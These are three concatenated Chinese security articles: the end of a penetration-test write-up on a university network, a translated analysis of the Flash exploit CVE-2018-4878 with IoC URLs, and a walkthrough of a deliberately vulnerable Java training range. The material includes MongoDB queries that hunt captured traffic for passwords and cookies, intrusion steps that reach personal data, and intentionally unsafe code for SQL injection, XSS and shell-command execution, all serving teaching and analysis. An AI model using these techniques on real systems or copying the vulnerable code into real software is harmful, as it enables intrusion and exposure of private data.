有趣的是每次弹回来的机器的host和IP会变，多次开端口监听，获得了node001-node010十台高配置物理机的shell。
## 新中新网关Shiro-550
shiro还没修完也是离谱，java我谢谢你。
# 横向2-接口安全探测中心(数据安全)
在上面我们得到稳定的跳板后，继续针对该校重点网段进行简单的扫描。
发现某IP的80端口有个安全设备需要登录，但5001端口可直接访问。
如图，会对所有的接口双向数据进行检测，记录其中的敏感信息。但这网站自带的搜索功能太鸡肋了，我无法快速筛选到需要的信息。我直接抄起Python对该网站的API进行一个的爬，然后存到本地的mongo数据库中(因为数据量大且字段不固定)。注：该数据库在授权测试后已删除。
然后使用mongo对应的SQL查找我想要的信息。以下为部分代码，不解释了，大家肯定能看懂是在找什么。
db.event.find({"req.args.password":{"$exists":true}},{ host: 1, req: 1,_id:0} )
db.event.find({"req.args2.password":{"$exists":true}},{ host: 1, req: 1,_id:0} )
db.event.find({"req.body":{$regex:'admin'}},{ host: 1, req: 1,rsp:1,_id:0} )
db.event.find({"rsp.header.set-cookie":{$regex:'(?i)rememberMe'}},{ host: 1, req:1,rsp:1,_id:0} )
db.event.find({"host":{$regex:'itc'}},{ host: 1, req: 1,rsp:1,_id:0})
db.event.find({"apiUrl":{$regex:'login'}},{ host: 1, req: 1,rsp:1,_id:0})
db.event.find({"host":{$regex:'xxx'}},{ host: 1, req: 1,rsp:1,_id:0})
db.event.find({"net.dst_ip":{$regex:'xxx'}},{ host: 1, net:1,req:1,rsp:1,_id:0})
db.event.find({"net.src_ip":{$regex:'xxx'}},{ host: 1, net:1,req:1,rsp:1,_id:0})
db.event.find({"referer":{$regex:'edr'}},{ host: 1, req: 1,rsp:1,_id:0})
db.event.find({"rsp.body":{"$regex":"password"}},{ host: 1, req: 1,_id:0} )
db.event.find({"req.args2.pwd":{"$exists":true}},{ host: 1, req: 1,rsp:1,_id:0} )
# 横向3-一些内网资产
使用上面我们筛到的管理员用户名、密码、甚至是Cookie，收获下一步的资产。
## XX大学网络安全管理平台
这个平台还是蛮有意思的，可以进行学校的资产管理、安全通报、应急处置、安全监测、安全预警、安全管理、威胁情报、态势分析等，其中安全通报可以看到教育部(上交平台)、工信部、手动添加的学校漏洞信息。
比如别人提交的报告，好多还没修复呢~
## XX大学数栈大屏
从上边mongo里筛出来的token，构造并访问，可以获取admin管理权限。
可以看到很多数据，比如保卫处的门禁数据~
这个系统背后对接的数据库连接方式也找到了一些，在后边统一说。
## 某厂商超融合云弱口令+VNC未授权(14台)
这个就不写是哪个厂商了。看起来是魔改了一个OpenStack来管理的几台物理机，托管一些安全设备。数据库审计、日志审计、堡垒机、云WAF等。不过我都打到这个程度了，就不搞这些安全设备了。
此外一些虚拟机可以vnc直接访问，没有密码。部分已登录的可以直接获取root的shell，剩下的我们可以重启进入恢复模式强制改root的密码(怕影响业务，未进行)。可以参考下[重启改密码](https://www.itread01.com/p/1385545.html
"重启改密码")
## OA任意用户登录
发现了一个接口，URL的PATH是一串很长的随机字符串，在这里可以输入OA账户的ID，用统一的密码来登录。我们简单遍历一下就可以登上校长和书记的OA。还可以看到一些涉密，当然我没瞎看啊。
## XX大学接口管理平台
可以查很多信息，不过对我来说也都是塞牙缝了。
## 其他系统
还有一些系统，不是不重要，只是我懒得再写了。包括几十个学院官网的管理员、学术数据管理平台、广电专用网络存储平台、学校网络管理与性能监测系统、阿X云混合云All
In One管理平台等等的管理权限。
# 横向4-统一数据集成管道-所有核心库
这是一个很重要的系统。该系统对学校一些核心的数据库进行了进程，每晚会同步数据，比如将业务库的数据同步到核心库，我们有时候补办校园卡第二天才能生效刷开门禁就是这个道理。
该系统集成的数据库有：X大主数据仓库，X大主数据缓存库，人事中间库，研究生中间库，本科生教务中间库，校园卡中间库，科研中间库，房产和教师公寓管理库，财务系统中间库，数据中心共享库，x大通行码，安保处人行通道中间库，数据中心机构库，校园网实时在线系统，后勤中间库，设备资产系统，流程平台，通讯录，执行标准库，教学资源系统中间库，图书系统，OA系统，XX学院中间库，后勤集团中间库，数栈安保大屏，财务中间库，图书馆人员中间库，工会人员中间库等等等等。
各个数据库的IP地址、端口、连接方式、用户名等是明文的，但抓包显示密码是加密的，我解了半天发现只要检查元素将类型改成text就可以显示了。省去了我逆向JS的过程，这也太安全了。
获得了几十个库，上万个schema的管理权限，基本上该校的核心数据都在这里。
接下来简单展示几个：
## 身份信息
人脸照片、教师科研成果信息、财务信息、房产信息；学生家庭住址、父母职业等，共十万条。
## 打卡定位
近几千万条带经纬度的健康打卡定位信息。
## 校园网
校园网实时在线信息，包括某个师生的IP地址和MAC地址。不展示了。
## 财务处
财务收费信息。不展示了。
反正就是挺危险的，理论上我啥也能干了，包括但不限于改成绩、改学费、改校园卡金额(当然对账系统很复杂，我改了肯定能被发现哈哈，只是口嗨下)。
# 总结
一套走下来，还是很顺利的，学校没有企业那种的域管生产网，还是数据重要~
提一些众所周知的安全建设方法吧。
* 重要网段要隔离
* 弱口令修一修
* 安全设备到底方便谁？领导还是黑客？
* VPN的权限可以管控再严格些
* 学校可以鼓励学生进行众测渗透，给一定的奖励
这边还有不少之前渗透的有趣经历，最近找暑期实习整得身心俱疲，等有机会再接着分享:( | 社区文章 |
# 详解黑客如何绕过Adobe Flash的防护机制
|
##### 译文声明
本文是翻译文章，文章原作者 Hardik Shah，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/hackers-bypassed-adobe-flash-protection-mechanism/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
由于Adobe采取了各种措施来加强Flash的安全性，因此最近Flash Player的漏洞数量有所下降，然而Flash
Player偶尔还是会有新的漏洞冒出来。1月31日，Kr-Cert[报告](https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998)了该领域新出现的一个漏洞，漏洞编号为CVE-2018-4878（Adobe已经公布了一个[安全更新](https://blogs.adobe.com/psirt/?p=1522)修复了此漏洞）。经过分析后，我们发现漏洞利用技术可以绕过Flash引入的字节数组（byte
array）缓解功能，而这种功能可以阻止针对Flash的“长度损坏（length
corruption）”攻击。本文将重点讨论漏洞利用技术如何绕过这种长度检查机制。
## 二、利用原理
攻击者已经在[针对性攻击活动](https://helpx.adobe.com/security/products/flash-player/apsa18-01.html)中用到了这种漏洞，当时攻击者使用了嵌有Flash文件的Microsoft Office
Excel文件。一旦用户打开Excel文件，Flash文件则会与服务器建连，请求密钥。收到密钥后，该文件会解码另一个内嵌的Flash文件，而该文件是真正的漏洞利用文件。
密钥大小为100字节。恶意程序使用`loader.loadbyte`函数来解码并加载内嵌的文件：
由于密钥所使用的URL地址已经下线，我们无法获取该密钥，然而各种网站上都存在样本的哈希值。本文所分析样本的SHA-256哈希值为`1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d`。
这个Adobe `.SWF`文件包含多个ActionScript
3文件，也在BinaryData区中包含2个嵌入式文件，这些文件共同构成了最终的shellcode（如下图红色方框所示）：
## 三、开始利用
漏洞利用程序启动时会检查所运行的系统是否为Windows系统，如果满足条件就会触发漏洞。
漏洞利用程序会执行如下几个步骤：
1、创建一个mediaplayer对象；
2、将mediaplayer的drmManager属性初始化为基于DRMOperationCompleteListener对象nugamej的一个精心构造的类；
3、虽然nugamej对象已经被“释放”，但drmManager会指向nugamej之前所使用的那一个内存地址。
如果我们仔细观察nugamej，我们可以看到它源自于Rykim类，而该类实现（implement）了DRMOperationCompleteListener类。Rykim类中有各种“uint”类型的变量，这些变量的值分别为0x1111、0x2222等：
这些变量稍后将用来访问进程空间以及其他操作所对应的各种地址。
漏洞利用程序随后会使用`Localconnection().connect`来触发异常，创建Rykim类的一个新变量“katyt”，并且实现了DRMOperationCompleteListener类，通过计时器（timer）来调用“cysit”方法：
Cysit函数会检查新分配对象的`a1`变量值是否为`0x1111`，如果不相等，则cysit函数会停止计时器，继续漏洞利用过程。
漏洞利用程序会创建另一个对象，即“Qep,”类型的“kebenid”，该对象会扩展字节数组类。kebenid的大小为512字节。程序稍后会修改这个大小，通过“读-写”方法获得进程内存的无限制访问权限。
## 四、检查字节数组避免损坏
我们可以查看[https://github.com/adobe/avmplus/blob/master/core/ByteArrayGlue.h了解字节数组的结构。](https://github.com/adobe/avmplus/blob/master/core/ByteArrayGlue.h%E4%BA%86%E8%A7%A3%E5%AD%97%E8%8A%82%E6%95%B0%E7%BB%84%E7%9A%84%E7%BB%93%E6%9E%84%E3%80%82)
可以看到，字节数组类存在数组（array）、容量（capacity）以及长度（length）等特性。之前我们曾见到过攻击者通过破坏长度变量实现对某个内存地址的任意读取及写入。因此，代码中部署了额外的检查过程来确保字节数组的完整性。检查过程会创建一个密钥，这个值会与数组/容量/长度进行异或（XOR）处理，然后分别保存在check_array/check_capacity/check_length变量中。
当访问这些变量时，程序会将这些变量与密钥进行异或处理，然后将变量的值与存储在check_array/check_capacity/check_length中的值进行比较。如果匹配成功，则属于正确的数据，否则就会抛出异常，如下图所示：
## 五、绕过检查过程
根据前面的代码，我们可以使用如下计算过程来提取密钥，即：
Array ^ check_array = key
Capacity ^ check_capacity = key
Length ^ check_length = key
[https://github.com/adobe/avmplus/blob/master/core/ByteArrayGlue.h还提到一种方法，如下所示：](https://github.com/adobe/avmplus/blob/master/core/ByteArrayGlue.h%E8%BF%98%E6%8F%90%E5%88%B0%E4%B8%80%E7%A7%8D%E6%96%B9%E6%B3%95%EF%BC%8C%E5%A6%82%E4%B8%8B%E6%89%80%E7%A4%BA%EF%BC%9A)
如果copyOnWrite的值为0，那么密钥就等于check_copyOnWrite。
如果我们仔细观察，我们会发现katyt以及kebenid对象变量指向的是同一块内存地址。如果我们打印出这些信息，比较两个对象的变量，我们就能证实这一点。
将如下变量与字节数组结构进行对比，我们可以得到如下结果：
因此，如果我们修改`katyt.a24`以及`katyt.a25`，实际上修改的是字节数组的容量以及字节数组的长度。接下来来我们只需要找到XOR的密钥，就能将数组长度设置为任意长度。
在这个利用程序中，攻击者通过`Array ^ check_array = key`算出了密钥值。
得到密钥后，我们很容易就能将字节数组的容量以及长度修改为`0xFFFFFFFF`以及check_length，这样就能绕过字节数组的安全机制，也就能读取或写入进程空间中的任意地址。
## 六、代码执行
漏洞利用程序通过字节数组对象的这种“读-写”方法成功读取了内存数据，搜索`kernel32.dll`以及类似`VirtualProtect`、`CreateProcessA`之类的函数。一旦定位到这些函数的地址，就可以在目标系统上执行shellcode。这种技术网上已经有很多公开文档。恶意程序搜索`kernel32.dll`、定位VirtualProtect
API地址（即0x75ff2c15）的代码片段如下所示：
随后，漏洞利用程序会执行shellcode，连接到某个URL地址：
也会通过`CreateProcessA`函数启动`cmd.exe`：
shellcode同时也会检查某些反恶意软件产品：
## 七、总结
攻击者会不断寻找绕过新型防护机制的各种办法。本文分析的这个漏洞利用程序给我们提供了一个鲜活的案例。与往常一样，我们建议大家在打开电子邮件中的未知附件和文档时要格外小心。
McAfee网络安全平台（Network Security Platform）的客户已经得到保护，可以免受这种漏洞的影响（特征ID为0x45223900）。
## 八、IoC
**哈希值（SHA-256）**
1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d
**URL**
hxxp://www.korea-tax.info/main/local.php
hxxp://www.1588-2040.co.kr/conf/product_old.jpg
hxxp://1588-2040.co.kr/conf/product.jpg | 社区文章 |
# 前言
电气鼠靶场系统包含了常见的漏洞案例，有提示和代码案例。初学者可以通过查询资料等方式通过关卡，在试炼的过程学习漏洞原理和代码审计。
为什么会想到编写电气鼠靶场系统呢？主要是以前入门的时候自己也搭过 pikachu 靶场进行练习。这是入门的好工具，使用的是 PHP
语言实现的。正巧我正在学习 Java 开发，脑子一热就开始编写这套系统。学Java半个月，编写这套系统也差不多花了半个月。
# 系统介绍
电气鼠靶场系统是一种带有漏洞的Web应用程序，旨在为Web安全渗透测试学习者提供学习和实践的机会。
通过在靶场系统上进行实际漏洞攻击和利用，学习者可以更好地理解和掌握Web安全渗透测试的技术和方法，以及如何保护Web应用程序免受攻击。靶场系统的实际攻击模拟也有助于学习者提高他们的安全意识，了解常见的攻击手段和漏洞利用方式，从而更好地保护他们自己和他们所负责的Web应用程序。
该靶场使用 Java 编写，使用 Tomcat + Mysql 的技术完成。可以通过 docker-compose 快速安装。
项目链接：
# 案例编写思路
靶场中的案例一定是符合目前Web安全检测的测试用例的。针对一些常见的漏洞进行案例编写，不仅是对漏洞本身进行的一个思考，也是对安全开发的一个思考。漏洞是怎么产生的？需要知根知底。
## XSS 漏洞
XSS（跨站脚本攻击）是一种常见的Web安全漏洞，攻击者可以通过注入恶意脚本代码，实现对用户的攻击。在Java
Web开发中，以下业务代码可能存在XSS漏洞：
1. 表单提交和查询结果的显示：在表单提交和查询结果的显示中，用户输入的数据没有经过过滤，直接显示在页面上，攻击者可以通过注入恶意脚本代码实现攻击。解决办法是对用户输入的数据进行HTML编码，可以使用Java自带的工具类或者第三方库来实现。
2. URL参数的传递：如果使用URL传递参数，攻击者可以通过注入恶意脚本代码实现攻击。解决办法是对URL参数进行编码，可以使用Java自带的工具类或者第三方库来实现。
3. 富文本编辑器：富文本编辑器中用户输入的内容可能包含HTML标签和脚本代码，攻击者可以通过注入恶意脚本代码实现攻击。解决办法是使用富文本编辑器自带的过滤器或者使用第三方库对用户输入的内容进行过滤。
4. JavaScript代码的编写：在编写JavaScript代码时，要注意防止XSS攻击，不要直接使用用户输入的数据作为JavaScript代码的参数，可以对用户输入的数据进行编码。
XSS漏洞的原因是业务代码没有对用户输入的数据进行过滤和编码，攻击者可以通过注入恶意脚本代码实现攻击。为了防止XSS漏洞，需要在业务代码中对用户输入的数据进行过滤和编码。
XSS攻击可以达到不同的目的，但大致上有以下几种：
1. 窃取用户信息：攻击者可以通过注入恶意脚本代码获取用户的敏感信息，例如用户名、密码、Cookie等。
2. 欺骗用户：攻击者可以通过注入恶意脚本代码修改页面内容，伪装成合法的页面或者提供虚假的信息，从而欺骗用户。
3. 利用用户权限进行恶意操作：攻击者可以通过注入恶意脚本代码获取用户的权限，例如通过获取管理员的权限进行恶意操作。
4. 传播病毒：攻击者可以通过注入恶意脚本代码，在用户访问网页时传播病毒。
### 开发思路
XSS攻击最终是在游览器客户端展示，其本身与HTML和JS息息相关。根据后端渲染、前后端分离、前端渲染的三种情况，也有不同的XSS展示效果。
一种是前后端分离，在请求接口后返回的响应包设置了`ContentType`为`text/html`那么极有可能会产生漏洞。在实战中一般是 Jsonp
回调接口处会出现这种情况：
http://xxx.xxxx.xxx/?callback=jQuery11130014313909482240961_1561597612526&lastpagetime=1559829276&_=1561602219158
这里的 `callback` 是可控的。一旦我们设置了返回数据包内容类型为`text/html`那么将会导致XSS反射型漏洞的产生。
response.setContentType("text/html;charset=utf-8");
还有一种是后端渲染的情况。使用 JSP 或者其他模板语言引擎。例如：Thymeleaf、Velocity、FreeMarker。
一般的JSP输出变量到HTML的写法可以这么写：
<% String msg = request.getParameter('msg'); %>
<%=msg%>
其他的模板语言有不同的写法，但只要是没有经过过滤直接输出到HTML页面中去的，游览器解析后就会造成XSS攻击。
最后一种是前端渲染。有很多业务都可以使用前端完成，如今有很多前端的开发框架例如：React、Vue、Angular。尽管十分推荐使用类似`innerText`的方式显示数据，但会存在某些业务上无法避免的使用类似`innerHTML`的方法显示数据，一旦没有做好足够严格的数据校验，那么将会产生XSS漏洞。
function generateNote(mes){
return `<div class="callout callout-info">
<h5><i class="fas fa-info"></i> Note:</h5>${mes}</div>`;
}
function submitText(){
$("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么，就算是：" + $("#own-text")[0].value)
}
我开发时没有选择使用框架，直接使用了原生JS ES6语法拼接字符串，并且大量使用`innerHTML`属性。
如果想要减少XSS攻击的产生，我们可以使用`StringEscapeUtils`工具对用户输入的内容进行转义。
代码来源：`com/pika/electricrat/xss/dto/XssServlet.java`
public void getMarkData(HttpServletRequest request, HttpServletResponse response) throws IOException {
String content = request.getParameter("content");
response.setContentType("text/html;charset=utf-8");
response.getWriter().write("我不在乎你输入的是什么，就算是：" + StringEscapeUtils.escapeHtml(content));
}
## 暴力破解
暴力破解（Brute
Force）是黑客常用的一种密码破解方法，其基本思想是不断尝试所有可能的密码组合，直到找到正确的密码为止。通常，黑客会使用自动化的脚本或工具来进行暴力破解攻击，从而加快密码破解的速度。
具体来说，暴力破解攻击通常通过以下步骤实现：
1. 枚举可能的密码：黑客会根据目标账户的相关信息，如用户名、生日、常用词汇等，生成一份可能的密码字典。
2. 尝试所有可能的密码组合：黑客会使用自动化的工具，逐个尝试所有可能的密码组合，直到找到正确的密码为止。
3. 破解成功：一旦黑客找到了正确的密码，就可以使用该密码访问目标账户，进而窃取敏感信息或者进行其他恶意行为。
### 开发思路
为了防止暴力破解攻击，通常采取以下措施：
1. 强密码策略：要求用户设置复杂度较高的密码，如长度大于8个字符、包含大小写字母、数字和特殊字符等。
2. 密码锁定策略：如果用户多次输入错误密码，可以暂时锁定用户账户，防止暴力破解攻击。
3. 多因素认证：除了密码，还需要使用其他身份验证方式，如短信验证码、指纹识别、硬件令牌等，增加攻击者的破解难度。
4. 安全监控和报警：对于异常的登录行为，及时进行监控和报警，以便尽早发现并阻止攻击行为的发生。
上面四种防御手段的维度都有所不同。主要在多因素认证上百花齐放，不同的网站采用不同的因素认证。比较常见的有以下几种，即包括但不限于。
1. 图片验证码：常用于用户注册、登录等场景，要求用户输入图片中的验证码。
2. 隐藏域验证码：将一个随机字符串放在表单中的一个隐藏域中，提交表单时验证字符串是否正确。
3. 图片滑块验证码：将一张图片分成若干块，要求用户将某一块拖动到指定位置。
4. 声音验证码：要求用户听取一段语音，并输入语音中的验证码。
**图片验证码**
在开发中，主要实现了图片验证码和隐藏域验证码的功能。尽管图片验证码的作用十分有效，但我们仍然需要考虑到一些因素，例如图片验证码的不刷新、不过期或短期不过期、如果验证码生成算法不够复杂，可能被破解。如果验证码是纯数字或字母，可以使用机器学习等技术进行破解。
代码来源：`com/pika/electricrat/burteforce/dto/UserServlet.java`
public Boolean verificationImageCodeEasy(String text){
ImageCodeEntity entity = new ImageCodeEntity(text);
ImageCodeEntity res = icd.find(entity);
return res != null;
}
代码来源：`com/pika/electricrat/burteforce/dao/Impl/ImageCodeDaoImpl.java`
@Override
public ImageCodeEntity find(ImageCodeEntity entity) {
try{
String sql = "select * from " + entity.getSqlTableName() + " where text=?";
return jt.queryForObject(sql, new BeanPropertyRowMapper<>(ImageCodeEntity.class), entity.getText());
}
catch (Exception e){
e.printStackTrace();
return null;
}
}
这里我直接从数据库中通过验证码作为条件语句查询，如果查询到就通过，也就是说一旦生成的验证码足够多，就会导致验证码无效。所以我设置，每次获取验证码时都会清除已过期的验证码，验证码有效期5分钟。一般来说，图片验证码没有有效期——它是一次性的，所以你可以在这5分钟内进行暴力破解。
**隐藏域验证码**
实现思路是，生成随机的Token返回在页面中，提交登录请求的时候携带提交。Token生成在Session中，通过和用户输入的Token进行对比就能防止接口重发。但实际来说，使用Burp可以做到先获取Token再做登录行为，达到暴力破解的目的。
代码来源：`com/pika/electricrat/burteforce/dto/UserServlet.java`
// 登录时对比用户输入的Token
@Api({RequestMethodType.POST})
public Map<?, ?> loginWithToken(HttpServletRequest request, HttpServletResponse response){
String username = request.getParameter("username");
String password = request.getParameter("password");
String token = request.getParameter("token");
HttpSession session = request.getSession();
String v_token = session.getAttribute("token") != null ? String.valueOf(session.getAttribute("token")) : null;
HashMap<String, Boolean> data = new HashMap<>();
if (token == null || !token.equals(v_token)){
data.put("VerificationStatus", false);
return data;
}
session.removeAttribute("token");
data.put("VerificationStatus", true);
data.put("loginStatus", udi.login(username,password));
return data;
}
// 获取Token
@Api({RequestMethodType.GET})
public Map<?, ?> getToken(HttpServletRequest request, HttpServletResponse response){
String token = udi.getVerificationToken();
HttpSession session = request.getSession();
session.setAttribute("token", token);
HashMap<String, String> data = new HashMap<>();
data.put("token", token);
return data;
}
其中`session.removeAttribute("token");`说明了，校验完Token后，该Token会被销毁。但如果攻击者能够获得表单的源代码，可以轻松获取隐藏域中的字符串，并提交伪造的表单。
## CSRF（跨域请求伪造）
CSRF（跨站请求伪造）攻击可能会导致攻击者获得您提供给用户的登录凭据。在CSRF攻击中，攻击者通过欺骗受害者浏览器发起一个跨站请求，该请求利用了受害者当前的登录状态并向攻击者指定的URL发送了一个请求。
CSRF漏洞可以导致用户的账户被劫持，或者攻击者可以执行不被授权的操作，例如更改用户密码、删除数据等。
有朋友可能会问，为什么不再写一个关于CORS漏洞的，CORS（跨来源资源共享）和CSRF（跨站请求伪造）是两种完全不同的安全问题。
实际上，虽然这两个漏洞有共同点，但利用的场景不一样。其中CORS更多的是配合未授权API接口获取敏感信息等，而CSRF携带用户令牌（Cookie）能做的操作会比CORS更多。
### 开发思路
常见防御CSRF的手段：
1. 验证来源站点，服务器端对每个请求进行来源站点验证，只允许来自指定站点的请求通过。
2. 添加token验证，在请求参数或者HTTP头中添加一个token，用于验证请求的合法性。
**验证来源站点**
一般使用referer和origin两种方式来验证。但是，referer易被篡改或者不可靠，而origin可以被使用者自由伪造，因此单独使用这种方式可能存在被绕过的风险。
在开发过程中并没针对这两个头进行限制，但做了用户登录状态校验。
代码来源：`com/pika/electricrat/csrf/dto/UserInfoServlet.java`
@Api({RequestMethodType.POST, RequestMethodType.GET})
public Map<?, ?> editInfo(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
HashMap<String, Object> map = checkLogin(request, response);
boolean isLogin = (boolean) map.get("loginStatus");
HashMap<String, Object> data = new HashMap<>();
data.put("loginStatus", isLogin);
if (!isLogin) return data;
String phone = request.getParameter("phone");
String address = request.getParameter("address");
UserEntity user = (UserEntity) map.get("user");
data.put("updateStatus", uisi.updateByUserId(user.getId(),phone,address));
return data;
}
**添加token验证**
需要保证token的随机性和复杂性，以避免被猜测或者攻击者伪造token。
这里跟暴力破解防御中的隐藏域验证码类似，都是通过接口获取到前端，请求时携带到后端进行校验。不过于之不同的是，暴力破解的token验证后会被销毁，而这里的我校验后并没有销毁。而
Session 设置了30分钟过期，也就是说你可以在30分钟内进行CSRF攻击。
代码来源：`com/pika/electricrat/csrf/dto/UserInfoServlet.java`
@Api({RequestMethodType.POST, RequestMethodType.GET})
public Map<?, ?> editInfoWithToken(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = request.getParameter("csrf_token");
HttpSession session = request.getSession();
String v_token = session.getAttribute("csrf_token") != null ? String.valueOf(session.getAttribute("csrf_token")) : null;
HashMap<String, Boolean> data = new HashMap<>();
if (token == null || !token.equals(v_token)){
data.put("VerificationStatus", false);
return data;
}
return editInfo(request,response);
}
## SQL 注入
SQL注入（SQL
Injection）是一种常见的Web安全漏洞，攻击者通过利用应用程序没有对用户输入进行充分验证的缺陷，将恶意的SQL语句注入到后端数据库中，从而导致数据库的数据被窃取、篡改、破坏等风险。
通常，SQL注入攻击发生的原因是开发人员没有对用户输入的数据进行充分验证或过滤，或者使用了不安全的SQL查询方法。攻击者可以通过输入特定的字符串或符号来欺骗程序，从而注入恶意的SQL语句。
### 开发思路
SQL注入真是老生常谈。目前防御SQL注入的手段最有效的还是预编译，当然预编译也不是万能的，大致上有这些防御SQL注入的方式。
1. 使用参数化的SQL语句或预编译语句。
* 这种方法可以避免直接拼接SQL语句，有效防止SQL注入攻击。但是如果参数不正确地传递，仍可能导致SQL注入漏洞。
2. 对用户输入进行过滤和验证。
* 这种方法可以检查输入数据的格式、类型、长度等是否符合要求，避免恶意输入攻击，但是需要保证过滤和验证的严格性。
3. 使用ORM框架。
* ORM框架可以把对象与数据库表映射起来，自动生成SQL语句，有效地避免手写SQL带来的漏洞。但是ORM框架的质量和使用方式也需要谨慎考虑。
4. 限制数据库用户的权限。
* 把数据库用户权限限制在最小范围内，避免恶意用户获取敏感数据。但是如果数据库被攻破，仍有可能导致数据泄露。
5. 避免把错误信息暴露给用户。
* 在出现异常或错误时，不要把详细信息直接暴露给用户，避免攻击者利用这些信息进行注入攻击。但是错误信息的处理也需要及时，以便开发人员快速定位和修复问题。
6. 对重要数据进行加密存储。
* 对于重要数据，采用加密存储的方式，即使数据库被攻破也不容易泄露敏感信息。但是加密的算法和密钥管理也需要谨慎考虑。
7. 定期对数据库进行安全审计。
* 定期对数据库进行安全审计，检查是否存在异常或漏洞，及时修复问题，保证系统的安全性。但是需要保证审计的全面性和严格性。
Java中执行SQL语句的方式大致有以下几种：
1. 使用 JDBC 的 `java.sql.Statement`执行SQL语句。
2. 使用 JDBC 的 `java.sql.PreparedStatement`执行SQL语句。
3. 使用 Hibernate 的 `createQuery`执行SQL语句。
4. 使用 MyBatis 映射执行SQL语句。
Hibernate 默认会将所有传入的参数使用 JDBC 的 PreparedStatement 进行预编译，从而防止 SQL 注入攻击。
Query query = session.createQuery("FROM User WHERE username = :username");
query.setParameter("username", username);
List<User> users = query.list();
MyBatis 则是通过编写映射文件，在映射的语句中使用`${}`和`#{}`来设置变量输出的位置。其中`#{}`的底层也是使用 JDBC 的
PreparedStatement 进行预编译。而`${}`则是直接输出变量，类似于字符拼接从而导致SQL注入。
JDBC 的 PreparedStatement 会自动将 SQL 中的占位符`?`替换成预编译后的参数，使用参数化的方式执行 SQL。下面是预编译的例子。
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
尽管预编译非常好用，但在SQL语句中不能使用单引号的地方往往不能使用预编译。例如 `order
by`，这些地方没有过滤就有可能存在SQL注入风险。并且预编译不会对模糊查询中的两个通配符，`%`和`_`做转义，没有过滤的话很有可能导致恶意模糊查询。
如果使用`Statement`的方式，那么将没有预编译，通常是使用字符拼接的方式执行SQL语句，在开发过程中，我大量使用了`Statement.executeQuery`方法，如果不对用户输入的内容自行做过滤，那么不可避免的会导致SQL注入的产生。
代码来源：`com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java`
// 查询，字符串拼接
public HashMap<String, Object> findUserById(String id){
return query("select * from sys_account where id=" + id);
}
// 直接使用 executeQuery 执行SQL语句，没有过滤。
public HashMap<String, Object> query(String sql){
System.out.println(sql);
HashMap<String, Object> data = new HashMap<>();
try {
ResultSet rs = s.executeQuery(sql);
rs.next();
data.put("id", rs.getInt("id"));
data.put("username", rs.getString("username"));
data.put("msg", "ok");
} catch (SQLException e){
e.printStackTrace();
data.put("msg", e.getMessage());
}
return data;
}
值得一提的是参考了【BJDCTF 2020】简单注入，我过滤了单引号，转义成`\'`。
代码来源：`com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java`
public HashMap<String, Object> findUserFilter(String username, String password){
username = username.replaceAll("'+", "\\\\'");
password = password.replaceAll("'+", "\\\\'");
return query("select * from sys_account where username='" + username + "' and password='" + password + "'");
}
## RCE 远程命令执行
Java RCE（Remote Code
Execution）命令执行漏洞指的是通过Java应用程序漏洞，攻击者可以在受害者服务器上执行恶意代码的安全漏洞。攻击者可以通过向Java应用程序发送精心构造的恶意请求，绕过应用程序的身份验证和授权机制，最终在服务器上执行任意命令。
该漏洞的产生原因主要是Java应用程序在处理用户输入时，没有对输入数据进行充分的验证和过滤。攻击者可以通过构造精心制作的请求，绕过应用程序的安全控制，从而在服务器上执行恶意代码。
### 开发思路
在Java中，可以执行系统命令的方法有以下几种：
1. Runtime类的exec()方法
这是Java最基本的执行系统命令的方法，通过Runtime.getRuntime().exec(command)可以执行指定的系统命令。
1. ProcessBuilder类
这是一个更加高级的执行系统命令的方式，它提供了更多的控制和配置选项，例如设置工作目录、环境变量等。
通过ProcessBuilder可以构建一个包含系统命令及参数的列表，然后执行该命令。相比于Runtime类的exec()方法，ProcessBuilder提供了更多的安全保障。ProcessBuilder的命令执行漏洞更好实现，如下所示：
String ip = request.getParameter("ip");
ProcessBuilder pb = new ProcessBuilder("ping", "-t", "3", ip);
Process p = pb.start();
Runtime.getRuntime().exec 方法，它有很多不同的执行方式。其中用的比较多的有两种：
1. 作为字符串传入
`Runtime.getRuntime().exec(String command)`
1. 作为字符串数组传入
`Runtime.getRuntime().exec(String[] command)`
第一种方式会经过`StringTokenizer`进行处理，将会改变我们原来的语言，导致命令无法执行。第二种就直接调用 ProcessBuilder
来执行命令了，具体就跟上面给出的实例代码一直。具体其中的不同之处请师傅自行搜索了解，这里不再赘述了。
总之，为了能够成功演示，我使用了`/bin/sh`作为基础文件，保证后面传入的数据被当作参数也能够正常运行。
代码来源：`com/pika/electricrat/rce/RceServlet.java`
@Api({RequestMethodType.POST})
public Map<?, ?> cmd(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException, InterruptedException {
String command = request.getParameter("cmd");
HashMap<String, Object> data = new HashMap<>();
data.put("data", execCmd(command));
return data;
}
@Api({RequestMethodType.POST})
public Map<?, ?> ping(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException, InterruptedException {
String ip = request.getParameter("ip");
HashMap<String, Object> data = new HashMap<>();
data.put("data", execCmd("ping -c 4 " + ip));
return data;
}
public static String execCmd(String cmd) throws IOException, InterruptedException {
List<String> bash_cmd = new ArrayList<>();
bash_cmd.add("/bin/sh");
bash_cmd.add("-c");
bash_cmd.add(cmd);
Process p = Runtime.getRuntime().exec(bash_cmd.toArray(new String[bash_cmd.size()]));
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8));
String line;
StringBuilder text = new StringBuilder();
while((line = reader.readLine())!= null){
text.append(line).append("\n");
}
p.waitFor();
is.close();
reader.close();
p.destroy();
return text.toString();
}
## URL跳转漏洞
URL跳转漏洞（Open Redirect漏洞）指的是Web应用程序中的一种安全漏洞，攻击者可以利用这种漏洞将用户重定向到恶意网站。
